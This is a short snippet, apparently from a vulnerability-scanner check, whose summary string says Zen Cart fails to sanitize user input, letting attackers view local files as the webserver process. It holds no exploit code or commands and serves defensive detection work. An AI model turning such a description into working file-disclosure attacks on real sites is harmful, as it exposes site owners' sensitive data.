tag_summary = "Zen Cart is prone to an information-disclosure vulnerability because
it fails to sufficiently sanitize user-supplied data.

An attacker can exploit this issue to view local files in the context
of the webserver process. This may allow the attacker to obtain
sensitive information; other attacks are also possible.";
